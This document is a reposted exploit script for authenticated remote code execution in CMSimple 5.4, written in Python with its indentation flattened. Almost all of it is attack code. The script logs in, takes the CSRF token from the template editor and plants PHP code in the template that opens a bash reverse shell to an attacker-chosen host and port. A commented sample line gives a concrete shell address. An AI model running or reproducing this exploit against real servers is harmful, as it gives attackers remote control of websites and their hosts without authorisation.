Exploit for Cmsimple 5.4 Remote Code Execution

## https://sploitus.com/exploit?id=PACKETSTORM:164343
# Exploit Title: Cmsimple 5.4 - Remote Code Execution (RCE) (Authenticated)  
# Date: 29.09.2021  
# Exploit Author: pussycat0x  
# Vendor Homepage: https://www.cmsimple.org/  
# Version: 5.4  
# Tested on: ubuntu-20.04.1  
  
import argparse  
from bs4 import BeautifulSoup  
from argparse import ArgumentParser  
import requests  
parser= ArgumentParser(description="cmsimple ", epilog='cmsimpleRCE.py -url targetdomai.com -u username -p password -ip lhost -lp lport')  
rparser = parser.add_argument_group('required argument')  
rparser.add_argument('-url','--host', type=str, help='target domain',required=True)  
rparser.add_argument('-u' ,'--username', type=str, help='', required=True)  
rparser.add_argument('-p','--password',type=str,help='', required=True)  
rparser.add_argument('-ip','--lhost',type=str,help='listener ip', required=True)  
rparser.add_argument('-lp','--lport', type=str,help='listener port', required=True)  
args= parser.parse_args()  
#url ='192.168.1.106'  
s = requests.Session()  
  
def main():  
try:  
  
url =(args.host)  
payload = {  
'user':args.username,  
'passwd':args.password,  
'submit': 'Login',  
'login':'true',  
}  
login=s.post(url +'/?Welcome_to_CMSimple_5',data=payload)  
if login.status_code == 200:  
print('Exploit Completed')  
else:  
print("Invalid Credential")  
cook =(login.cookies.get_dict())  
temp = s.get(url +'/?file=template&action=edit', cookies=cook)  
soup = BeautifulSoup(temp.text, 'lxml')  
csrfToken = soup.find('input',attrs = {'name':'csrf_token'})['value']  
#<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");   
rev = """<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/"""  
rev2=(args.lhost)  
rev3=(args.lport)  
rev4=""" 0>&1'");"""  
php =(rev+rev2+'/'+rev3+rev4)  
revpayload = {  
'cmsimpleDataFileStored':'cmsimpleDataFileStored',  
'csrf_token':csrfToken,  
'text':php,  
'file':'template',  
'action':'save',  
}  
shell = s.post(url +'/',cookies=cook , data=revpayload)  
exec = s.get(url+'/')  
exit()  
except:  
pass  
main()